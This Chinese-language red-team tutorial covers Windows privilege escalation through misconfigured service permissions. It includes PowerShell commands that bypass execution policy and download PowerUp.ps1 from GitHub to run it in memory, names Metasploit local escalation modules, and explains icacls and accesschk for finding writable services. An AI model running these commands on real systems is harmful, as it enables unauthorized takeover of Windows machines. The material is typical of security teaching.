本文来自“白帽子社区红队知识星球”
作者:BaiKer
在 Windows 系统中,系统服务文件会在操作系统启动时加载和运行,并在后台调用可执行文件
理论上,低权限用户是没有对高权限服务调用的可执行文件具有写权限
但是,如果因为管理员的错误配置,导致一个低权限的用户对此类系统服务调用的可执行文件具有写入权限
那么低权限用户就可以把该文件替换成任意执行文件,这样就可以劫持系统服务,获取该系统服务的权限
而 Windows 服务通常是以 system 权限启动运行的,所以低权限用户可以通过此漏洞获取系统权限
# 本地加载,检测可利用提权方式
import-Module .PowerUp.ps1
Invoke-AllChecks
powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1;InvokeAllChecks}"
# 远程加载,检测可利用提权方式
powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellE
mpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
# 使用检测到的提权脚本进行提权
powershell -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellE
mpire/PowerTools/master/PowerUp/PowerUp.ps1'); <利用语句>"
# 检测高权限服务替换
exploit/windows/local/service_permissions
# 检测高权限服务路径
exploit/windows/local/unquoted_service_path
set AutoRunScript migrate -f
# 检测注册表键 AlwaysInstallElevated 提权
exploit/windows/local/always_install_elevated
# 检测自动安装配置文件
post/windows/gather/enum_unattend
在 Windows 系统中,可以通过 icacls 命令查看特定目录的权限情况
icacls 命令
/T:显示指定目录下的所有子目录
/Q:禁止显示成功的消息
/L:指定目录为快捷方式
/C:显示错误消息并继续执行
icacls 继承
(OI):对象继承
(CI):容器继承
(IO):仅继承
(NP):不传播继承
(I):从父容器继承的权限
icacls 简单权限
N:无访问权限
F:完全访问权限
M:修改权限
RX:读取和执行权限
R:只读权限
W:只写权限
D:删除权限
icacls 特定权限
DE:删除
RC:读取控制
DAC
WO:写入所有者
S:同步
AS:访问系统安全性
MA:允许的最大值
GR:一般性读取
GW:一般性写入
GE:一般性执行
GA:全为一般性
RD:读取数据/列出目录
WD:写入数据/添加文件
AD:附加数据/添加子目录
REA:读取扩展属性
WEA:写入扩展属性
X:执行/遍历
DC:删除子项
RA:读取属性
WA:写入属性
查看 test 目录的权限信息
icacls F:test
https://learn.microsoft.com/zh-cn/sysinternals/downloads/accesschk
在 Windows 中,可以使用 accesschk 工具检测特定用户/组对资源具有哪些权限
accesschk 的命令参数如下:
-c:指定 Windows 服务,可以使用通配符 * 显示所有服务
-k:指定注册表项
-h:指定共享文件,可以使用通配符 * 显示所有共享
-p:指定进程名和 PID,可以使用通配符 * 显示所有进程
-f:当 -p 存在时,显示令牌详细信息
-e:显示 Vista 上具有显式完整性级别的所有文件
-d:显示顶级目录
-s:显示递归目录
-n:显示没有访问权限的文件
-r:显示具有读取权限的文件
-w:显示具有写入权限的文件
-u:不显示错误
-v:显示详细信息
在回显中,读取权限表示 R,写入权限表示 W
# 显示特定目录的权限情况
accesschk -dv "F:test"
# 显示 test 用户对特定目录的权限情况
accesschk "test" -dv "F:test"
# 显示具有写入权限的服务
accesschk -cw *
# 显示具有写入权限的进程
accesschk -pw *
# 查看特定注册表的权限情况
accesschk -k hklmsoftware
在 Windows 中,如果我们找到当前用户具有完全控制权限的服务,那么就可以通过替换服务的可执行程序,获取该服务的权限
原文始发于微信公众号(白帽子社区):内网攻防-权限提升-Windows-系统配置错误提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论